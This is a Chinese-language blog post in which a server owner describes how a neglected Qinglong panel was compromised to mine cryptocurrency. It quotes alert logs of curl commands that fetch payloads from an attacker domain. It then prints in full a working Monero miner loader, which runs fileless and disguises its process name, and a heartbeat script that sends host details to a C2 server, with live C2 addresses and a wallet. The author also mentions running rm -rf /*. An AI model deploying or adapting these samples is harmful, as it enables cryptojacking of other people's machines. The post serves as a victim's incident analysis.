好特么离谱,我被人给骇客了。
我这台服务器上跑了一堆东西,然后突然内存和CPU占用异常的高。我还以为自己代码bug了导致内存泄漏,然后疯狂GC(垃圾回收)导致CPU也拉高来着。

事实证明,没有那么简单。
在我收到腾讯云的告警邮件的时候,我还以为腾讯没活了,只是自己代码bug了长时间高占用就威胁要收我服务器了。

我还在想,腾讯真的是机器人企业,大惊小怪的。
直到……
我修完bug重新跑的时候特么怎么还是那么高占用,那不对啊。我打开了进程列表:
注意看第一个进程
然后还有腾讯云的恶意域名请求告警

我一看,问了AI说这个是典型的公共矿池域名,好,坐实了确实是中病毒了。我错怪腾讯了

那么服务器是怎么被入侵的,我防护的那么好。SSH都是用私钥登的,而且密码也长。更何况端口我只开了必要的,没全部开。怎么说也不太可能啊。
然后我就去看了下腾讯云后台安全告警信息,终于是发现线索了:

1
2
3
4
5
6
7
8
2026-03-16 23:38:49
10..: /bin/sh -c cat /ql/data/conf ig/crontab.list I grep -E “curl -sk -o /tmp/.ml -H "User-Age nt: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36Chrome/131" https://baba-yaga.live/ml.py" I perl -pe "sl.*l D=(.*) curl -sk -o /tmp/.ml -H "User-Agent: Mozilla/5.0 (X 11; Linux x86_64) AppleWebKit/537.36 Chrome/131" http s://baba-yaga.live/ml.py.*I\1l"| head -1l awk-F""'{print $1}'I xargs echo -n
+
2026-03-16 23:12:40
10..:/bin/sh -c cat /ql/data/conf ig/crontab.list | grep -E “curl -sk -o /tmp/.hb -H “User-Age nt: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36Chrome/120" https://baba-yaga.live/hb_micro.py" I perl pe"sl.*ID=(.*) curl -sk -o /tmp/.hb -H "User-Agent: Mozill a/5.0 (X11; Linux x86_64) AppleWebKit/537.36 Chrome/120" https://baba-yaga.live/hb_micro.py.*I\1l" | head -1l a wk-F"" '{print $1}'I xargs echo -n
+
2026-03-16 22:27:18
10...: /bin/sh -c cat /ql/data/conf ig/crontab.list | grep -E “curl -sk -o /tmp/.hb -H “User-Age nt: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36Chrome/120" https://baba-yaga.live/hb_micro.py" I perlpe"sl.*ID=(.*) curl -sk -o /tmp/.hb -H "User-Agent: Mozill a/5.0 (X11; Linux x86_64) AppleWebKit/537.36 Chrome/120" https://baba-yaga.live/hb_micro.py.*I\1l" | head -1l a wk-F ""'{print $1}'I xargs echo -n

他妈的,ig/crontab.list青龙面板!
好家伙,没想到我临时跑小任务的应用在我用完以后一直没管的时候偷偷背刺我了。被嘿壳给找到漏洞通过定时列表(?)给我塞了个挖矿脚本进来。
还特么刚好挑我高考那两天,真是服了。
那看来里面东西不能要了,根本清理不干净的,准备备份重装了。

等等,在重装之前我要玩个大的。搞一下我一直以来不敢想的东西:
在 生 产 环 境 运 行 rm -rf /*

(视频的tag是个细节) 爽了,著名“删库跑路”命令也被我试过了,虽然很无聊。

对了,我好奇它下载木马的这个地址到底是什么。然后去搜了一下,发现是一个印度的民间传说。
当然了这不重要,重要的是里面的样本。
对方可能没想到,他的操作已经被安全日志系统全程留痕了。并且我也是一个嘿客,最喜欢分析这个了。
那就让我们开看:
ml.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
#!/usr/bin/env python3
"""
Mini miner loader — downloads xmrig, writes config, executes.
Designed for Alpine/Debian Docker containers (Qinglong).
~5KB, zero dependencies beyond Python 3 stdlib.
"""
import os, sys, json, hashlib, socket, signal, time, struct, ctypes, ctypes.util, random, gzip

# ── CONFIG ──
C2 = "https://baba-yaga.live"
C2_IP = "https://45.131.214.139"
WALLET = "447NxewTgybVasVMfKXMxdZJPhNZuRUvFUPzJhP4pz9YHNoKdLoKxqRgAaVzHWteSQUXSvf7hxtN1PFfF3W9bzy6Pe8FDbr"
POOL = "gulf.moneroocean.stream:443"
POOL_TLS = True
BIN_HASH = "9d4153c85f1315ae08955dc491294749b3603846d2f95de665d4bf655543be03"
UA = "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"
PROC_NAMES = ["[migration/0]", "[kworker/u8:3-events_unbound]", "[rcu_preempt]", "[ksoftirqd/0]"]

# ── memfd syscall numbers ──
MEMFD_NR = {"x86_64": 319, "aarch64": 279}

def get_arch():
import platform
m = platform.machine()
return {"x86_64": "x86_64", "amd64": "x86_64", "aarch64": "aarch64", "arm64": "aarch64"}.get(m, m)

def get_worker_id():
try:
hn = socket.gethostname()
try: ip = socket.gethostbyname(hn)
except: ip = "0.0.0.0"
cid = ""
try:
with open("/proc/self/cgroup") as f:
for l in f:
if "docker" in l or "containerd" in l:
cid = l.strip().split("/")[-1][:12]
break
except: pass
seed = "d3f4ult_s4lt_ch4ng3:%s:%s:%s" % (hn, ip, cid)
wh = hashlib.sha256(seed.encode()).hexdigest()[:10]
pwid = "w%s" % wh
ph = hashlib.sha256(("p00l_s4lt_ch4ng3:%s" % pwid).encode()).hexdigest()[:8]
return "x%s" % ph
except:
return "x%s" % hashlib.md5(socket.gethostname().encode()).hexdigest()[:8]

def download(urls, timeout=60):
"""Try multiple URLs, return bytes or None."""
import urllib.request, ssl
ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
for url in urls:
try:
req = urllib.request.Request(url, headers={"User-Agent": UA})
resp = urllib.request.urlopen(req, timeout=timeout, context=ctx)
return resp.read()
except: continue
return None

def memfd_create(name=""):
arch = get_arch()
nr = MEMFD_NR.get(arch)
if not nr: return -1
try:
libc = ctypes.CDLL(ctypes.util.find_library("c"), use_errno=True)
fd = libc.syscall(ctypes.c_long(nr), ctypes.c_char_p(name.encode()), ctypes.c_uint(0))
return fd if fd >= 0 else -1
except: return -1

def set_proc_name(name):
try:
libc = ctypes.CDLL(ctypes.util.find_library("c"))
libc.prctl(15, name.encode()[:15], 0, 0, 0)
except: pass

def find_free_port():
import socket as s
with s.socket(s.AF_INET, s.SOCK_STREAM) as sock:
sock.bind(('127.0.0.1', 0))
return sock.getsockname()[1]

def is_miner_running():
"""Check if xmrig/migration is already running."""
try:
for pid in os.listdir("/proc"):
if not pid.isdigit(): continue
try:
with open("/proc/%s/cmdline" % pid, "rb") as f:
cmd = f.read().decode(errors="ignore")
if "migration" in cmd or "xmrig" in cmd or ".worker.json" in cmd:
return True
except: continue
except: pass
return False

def main():
# Don't run if miner already running
if is_miner_running():
sys.exit(0)

arch = get_arch()
if arch != "x86_64":
# ARM64 binary not yet available
sys.exit(0)

# Download compressed binary
data = download([
"%s/.x64.gz" % C2,
"%s/.x64.gz" % C2_IP,
], timeout=120)
if not data:
sys.exit(1)

# Decompress
try:
binary = gzip.decompress(data)
except:
sys.exit(1)

# Verify hash
if hashlib.sha256(binary).hexdigest() != BIN_HASH:
sys.exit(1)

# Generate worker ID and config
wid = get_worker_id()
api_port = find_free_port()
api_token = hashlib.sha256(os.urandom(32)).hexdigest()[:16]

config = {
"autosave": False,
"background": False,
"colors": False,
"title": False,
"randomx": {"init": -1, "init-avx2": -1, "mode": "auto", "1gb-pages": False, "rdmsr": False},
"cpu": {
"enabled": True,
"huge-pages": False,
"huge-pages-jit": False,
"hw-aes": None,
"priority": 0,
"memory-pool": False,
"max-threads-hint": 75,
"asm": True,
"argon2-impl": None,
},
"log-file": None,
"donate-level": 0,
"donate-over-proxy": 0,
"pools": [{
"algo": "rx/0",
"coin": "monero",
"url": POOL,
"user": WALLET,
"pass": wid,
"rig-id": wid,
"keepalive": True,
"enabled": True,
"tls": POOL_TLS,
"daemon": False,
}],
"api": {
"id": None,
"worker-id": wid,
},
"http": {
"enabled": True,
"host": "127.0.0.1",
"port": api_port,
"access-token": api_token,
"restricted": True,
},
}

# Write config to /dev/shm for hb_micro detection
cfg_path = "/dev/shm/.worker.json"
try:
cfg_data = json.dumps(config)
with open(cfg_path, "w") as f:
f.write(cfg_data)
os.chmod(cfg_path, 0o600)
except:
cfg_path = "/tmp/.worker.json"
with open(cfg_path, "w") as f:
f.write(json.dumps(config))
os.chmod(cfg_path, 0o600)

# Try memfd_create first (fileless)
fd = memfd_create("")
if fd >= 0:
os.write(fd, binary)
exe_path = "/proc/self/fd/%d" % fd
else:
# Fallback: write to /dev/shm
exe_path = "/dev/shm/.worker"
with open(exe_path, "wb") as f:
f.write(binary)
os.chmod(exe_path, 0o700)

# Fork and exec
pid = os.fork()
if pid > 0:
# Parent: write info file and exit
try:
info = {"pid": pid, "worker_id": wid, "started": int(time.time()),
"api_port": api_port, "api_token": api_token}
with open("/dev/shm/.worker.json", "w") as f:
json.dump({**config, **{"_info": info}}, f)
except: pass
os._exit(0)

# Child: become session leader
try:
os.setsid()
except: pass

# Ignore signals
signal.signal(signal.SIGHUP, signal.SIG_IGN)
signal.signal(signal.SIGPIPE, signal.SIG_IGN)

# Set process name
set_proc_name(random.choice(PROC_NAMES))

# Redirect stdio
try:
dn = os.open(os.devnull, os.O_RDWR)
os.dup2(dn, 0); os.dup2(dn, 1); os.dup2(dn, 2)
except: pass

# Exec xmrig
try:
os.execv(exe_path, [random.choice(PROC_NAMES), "--config=%s" % cfg_path])
except:
# If memfd exec fails, try shm fallback
try:
shm_path = "/dev/shm/.worker"
if not os.path.exists(shm_path):
with open(shm_path, "wb") as f:
f.write(binary)
os.chmod(shm_path, 0o700)
os.execv(shm_path, [random.choice(PROC_NAMES), "--config=%s" % cfg_path])
except:
sys.exit(1)

if __name__ == "__main__":
# Daemonize
try:
p = os.fork()
if p > 0: os._exit(0)
os.setsid()
p = os.fork()
if p > 0: os._exit(0)
except: pass
try:
dn = os.open(os.devnull, os.O_RDWR)
os.dup2(dn, 0); os.dup2(dn, 1); os.dup2(dn, 2)
except: pass
main()

这个应该就是主程序了。
里面还有钱包地址,拿来挖完结算的(真是服了)
主要操作是写入配置和初始化以及启动啥的。

当然它还有另外一个文件来打配合:
hb_micro.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
#!/usr/bin/env python3
"""Micro heartbeat daemon v3.3 — Pure Python ChaCha20-Poly1305, zero dependency.
Sends all fields expected by the C2 panel (hostname, arch, state, cpu_load, etc).
"""
import os, sys, json, time, hashlib, base64, socket, signal, random, struct, platform

C2_URL = "https://baba-yaga.live"
HB_KEY = "710aa63323d9c2a8ca1bb522aaf7d9e1"
HB_SALT = b"heartbeat_salt_v2"
HB_ITERS = 100000
INTERVAL = 60
XMRIG_CFG = "/dev/shm/.worker.json"

# ===========================================================================
# ChaCha20-Poly1305 AEAD — Pure Python (RFC 8439)
# ===========================================================================
_CC_ROUNDS = 20
_CC_NONCE_SIZE = 12
_CC_TAG_SIZE = 16
_CC_BLOCK_SIZE = 64

def _rotl32(v, n):
return ((v << n) | (v >> (32 - n))) & 0xFFFFFFFF

def _qr(s, a, b, c, d):
s[a] = (s[a] + s[b]) & 0xFFFFFFFF; s[d] ^= s[a]; s[d] = _rotl32(s[d], 16)
s[c] = (s[c] + s[d]) & 0xFFFFFFFF; s[b] ^= s[c]; s[b] = _rotl32(s[b], 12)
s[a] = (s[a] + s[b]) & 0xFFFFFFFF; s[d] ^= s[a]; s[d] = _rotl32(s[d], 8)
s[c] = (s[c] + s[d]) & 0xFFFFFFFF; s[b] ^= s[c]; s[b] = _rotl32(s[b], 7)

def _cc20_block(key, counter, nonce):
s = [0x61707865, 0x3320646E, 0x79622D32, 0x6B206574]
s.extend(struct.unpack("<8I", key))
s.append(counter & 0xFFFFFFFF)
s.extend(struct.unpack("<3I", nonce))
w = list(s)
for _ in range(_CC_ROUNDS // 2):
_qr(w, 0, 4, 8, 12); _qr(w, 1, 5, 9, 13)
_qr(w, 2, 6, 10, 14); _qr(w, 3, 7, 11, 15)
_qr(w, 0, 5, 10, 15); _qr(w, 1, 6, 11, 12)
_qr(w, 2, 7, 8, 13); _qr(w, 3, 4, 9, 14)
return struct.pack("<16I", *[((w[i] + s[i]) & 0xFFFFFFFF) for i in range(16)])

def _cc20_encrypt(key, counter, nonce, plaintext):
out = bytearray()
n = (len(plaintext) + _CC_BLOCK_SIZE - 1) // _CC_BLOCK_SIZE
for j in range(n):
ks = _cc20_block(key, counter + j, nonce)
bs = j * _CC_BLOCK_SIZE
be = min(bs + _CC_BLOCK_SIZE, len(plaintext))
for i, b in enumerate(plaintext[bs:be]):
out.append(b ^ ks[i])
return bytes(out)

def _clamp(r):
return r & 0x0FFFFFFC0FFFFFFC0FFFFFFC0FFFFFFF

def _poly1305_mac(msg, key):
r = _clamp(int.from_bytes(key[:16], "little"))
s = int.from_bytes(key[16:32], "little")
p = (1 << 130) - 5
a = 0
for i in range(0, len(msg), 16):
blk = msg[i:i + 16]
n = int.from_bytes(blk, "little") + (1 << (8 * len(blk)))
a = ((a + n) * r) % p
return ((a + s) & ((1 << 128) - 1)).to_bytes(16, "little")

def _pad16(d):
rem = len(d) % 16
return b"" if rem == 0 else b"\x00" * (16 - rem)

def chacha20_poly1305_encrypt(key, nonce, plaintext, aad=b""):
poly_key = _cc20_block(key, 0, nonce)[:32]
ct = _cc20_encrypt(key, 1, nonce, plaintext)
md = bytearray()
md.extend(aad); md.extend(_pad16(aad))
md.extend(ct); md.extend(_pad16(ct))
md.extend(struct.pack("<Q", len(aad)))
md.extend(struct.pack("<Q", len(ct)))
tag = _poly1305_mac(bytes(md), poly_key)
return nonce + ct + tag

# ===========================================================================
# System info collection
# ===========================================================================

def get_worker_id():
try:
with open(XMRIG_CFG) as f:
cfg = json.load(f)
for pool in cfg.get("pools", []):
wid = pool.get("pass", "")
if wid and wid.startswith("x"):
return wid
except: pass
try:
hostname = socket.gethostname()
try: ip = socket.gethostbyname(hostname)
except: ip = "0.0.0.0"
cid = ""
try:
with open("/proc/self/cgroup") as f:
for line in f:
if "docker" in line or "containerd" in line:
cid = line.strip().split("/")[-1][:12]
break
except: pass
salt = os.environ.get("WORKER_ID_SALT", "d3f4ult_s4lt_ch4ng3")
seed = f"{salt}:{hostname}:{ip}:{cid}"
wh = hashlib.sha256(seed.encode()).hexdigest()[:10]
panel_wid = f"w{wh}"
pool_salt = os.environ.get("POOL_ID_SALT", "p00l_s4lt_ch4ng3")
pool_hash = hashlib.sha256(f"{pool_salt}:{panel_wid}".encode()).hexdigest()[:8]
return f"x{pool_hash}"
except:
return f"x{hashlib.md5(socket.gethostname().encode()).hexdigest()[:8]}"

def get_hostname():
try:
return socket.gethostname()
except:
return "unknown"

def get_arch():
try:
return platform.machine() or "unknown"
except:
return "unknown"

def get_os_platform():
try:
parts = []
# Try /etc/os-release first (most Linux distros)
try:
with open("/etc/os-release") as f:
for line in f:
if line.startswith("PRETTY_NAME="):
val = line.split("=", 1)[1].strip().strip('"')
return val
except: pass
# Fallback to platform module
return f"{platform.system()} {platform.release()}"
except:
return "unknown"

def get_cpu_load():
"""Get 1-min CPU load average as percentage of cores."""
try:
load1 = os.getloadavg()[0]
cores = os.cpu_count() or 1
return round(load1 / cores * 100, 1)
except:
return 0

def get_mem_percent():
"""Get memory usage percentage from /proc/meminfo."""
try:
mem = {}
with open("/proc/meminfo") as f:
for line in f:
parts = line.split()
if len(parts) >= 2:
key = parts[0].rstrip(":")
mem[key] = int(parts[1])
total = mem.get("MemTotal", 1)
avail = mem.get("MemAvailable", mem.get("MemFree", 0))
return round((1 - avail / total) * 100, 1)
except:
return 0

def get_uptime_system():
"""Get system uptime in seconds from /proc/uptime."""
try:
with open("/proc/uptime") as f:
return int(float(f.read().split()[0]))
except:
return 0

def get_xmrig_api_config():
try:
with open(XMRIG_CFG) as f:
cfg = json.load(f)
http = cfg.get("http", {})
if http.get("enabled"):
return {"host": http.get("host", "127.0.0.1"), "port": http.get("port", 0), "token": http.get("access-token", "")}
except: pass
return None

def scrape_xmrig_api(api_cfg):
result = {"threads": 0, "difficulty": 0, "hashrate": 0}
if not api_cfg or not api_cfg.get("port"):
return result
try:
import urllib.request
url = f"http://{api_cfg['host']}:{api_cfg['port']}/2/summary"
req = urllib.request.Request(url)
if api_cfg.get("token"):
req.add_header("Authorization", f"Bearer {api_cfg['token']}")
resp = urllib.request.urlopen(req, timeout=5)
data = json.loads(resp.read().decode())
result["difficulty"] = data.get("connection", {}).get("diff", 0)
hr = data.get("hashrate", {}).get("total", [])
if hr and isinstance(hr, list) and len(hr) > 0:
result["hashrate"] = hr[0] if hr[0] else (hr[1] if len(hr) > 1 else 0)
result["threads"] = data.get("cpu", {}).get("threads", 0)
if not result["threads"]:
try:
url2 = f"http://{api_cfg['host']}:{api_cfg['port']}/2/backends"
req2 = urllib.request.Request(url2)
if api_cfg.get("token"):
req2.add_header("Authorization", f"Bearer {api_cfg['token']}")
resp2 = urllib.request.urlopen(req2, timeout=5)
backends = json.loads(resp2.read().decode())
for b in backends:
threads = b.get("threads", [])
if threads:
result["threads"] = len(threads)
break
except: pass
except: pass
return result

def get_sysinfo():
info = {"cpu_model": "unknown", "cpu_cores": 0, "ram_total": "unknown", "kernel": "unknown", "docker": False}
try:
with open("/proc/cpuinfo") as f:
for line in f:
if line.startswith("model name"):
info["cpu_model"] = line.split(":", 1)[1].strip()
break
info["cpu_cores"] = os.cpu_count() or 0
except: pass
try:
with open("/proc/meminfo") as f:
for line in f:
if line.startswith("MemTotal"):
kb = int(line.split()[1])
info["ram_total"] = f"{kb // 1024} MB"
break
except: pass
try:
with open("/proc/version") as f:
info["kernel"] = f.read().strip().split()[2]
except: pass
info["docker"] = os.path.exists("/.dockerenv") or os.path.exists("/run/.containerenv")
return info

def derive_key(key_str):
return hashlib.pbkdf2_hmac("sha256", key_str.encode(), HB_SALT, HB_ITERS, dklen=32)

def send_hb(worker_id, payload):
import urllib.request, ssl
dk = derive_key(HB_KEY)
pt = json.dumps(payload).encode()
nonce = os.urandom(12)
ct = chacha20_poly1305_encrypt(dk, nonce, pt)

ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE

envelope = {"worker_id": worker_id, "data": base64.b64encode(ct).decode(), "v": 2}
headers = {
"Content-Type": "application/json",
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"
}

req = urllib.request.Request(
f"{C2_URL}/api/heartbeat",
data=json.dumps(envelope).encode(),
headers=headers,
method="POST"
)
resp = urllib.request.urlopen(req, timeout=15, context=ctx)
return resp.status

def main():
signal.signal(signal.SIGHUP, signal.SIG_IGN)
try:
signal.signal(signal.SIGPIPE, signal.SIG_IGN)
except: pass

worker_id = get_worker_id()
sysinfo = get_sysinfo()
api_cfg = get_xmrig_api_config()
hostname = get_hostname()
arch = get_arch()
os_plat = get_os_platform()
start_ts = int(time.time())

while True:
try:
miner_alive = False
try:
for pid_dir in os.listdir("/proc"):
if not pid_dir.isdigit(): continue
try:
with open(f"/proc/{pid_dir}/cmdline", "rb") as f:
cmdline = f.read().decode(errors="ignore")
if "migration" in cmdline or "xmrig" in cmdline or ".worker.json" in cmdline:
miner_alive = True
break
except: continue
except: pass

# Always re-read xmrig config when miner is alive (port/token may change)
if miner_alive:
api_cfg = get_xmrig_api_config()
miner_stats = scrape_xmrig_api(api_cfg)
# Retry with fresh config if scraping returned 0
if miner_alive and not miner_stats.get('hashrate'):
api_cfg = get_xmrig_api_config()
miner_stats = scrape_xmrig_api(api_cfg)
state = "MINING" if miner_alive else "IDLE"

payload = {
"worker_id": worker_id,
"type": "heartbeat",
"ts": int(time.time()),
"hostname": hostname,
"arch": arch,
"os_platform": os_plat,
"state": state,
"hashrate": miner_stats["hashrate"],
"cpu_load": get_cpu_load(),
"mem_percent": get_mem_percent(),
"uptime_system": get_uptime_system(),
"uptime_miner": int(time.time()) - start_ts,
"miner_alive": miner_alive,
"cpu_model": sysinfo["cpu_model"],
"cpu_cores": sysinfo["cpu_cores"],
"ram_total": sysinfo["ram_total"],
"kernel": sysinfo["kernel"],
"docker": sysinfo["docker"],
"threads": miner_stats["threads"],
"difficulty": miner_stats["difficulty"],
"version": "micro-3.3",
}
send_hb(worker_id, payload)
except: pass

time.sleep(INTERVAL * random.uniform(0.8, 1.2))

if __name__ == "__main__":
try:
pid = os.fork()
if pid > 0:
os._exit(0)
os.setsid()
pid = os.fork()
if pid > 0:
os._exit(0)
except OSError:
pass
try:
dn = os.open(os.devnull, os.O_RDWR)
os.dup2(dn, 0); os.dup2(dn, 1); os.dup2(dn, 2)
except: pass
main()

还特么收集系统信息,这是要准备个性化推送挖矿任务呢是吧。真是心机。
顶上还有类似加密算法的东西(应该就是)

另外还有一个https://baba-yaga[.]live/hb_micro.py.*I/1l 。打开看是一个类似登录页面的东西(讲真UI好像AI写的)

大概长这样,我也不知道干啥的。一般嘿客这种作案工具整的会很安全吧,不知道。

哎,烦,所有东西重新搞。真是,我特么这么容易遭黑客。建个站被打,搭个服务被入侵。
人麻了,找时间再维护吧。顺便看看情况,实在不行密码我也改掉。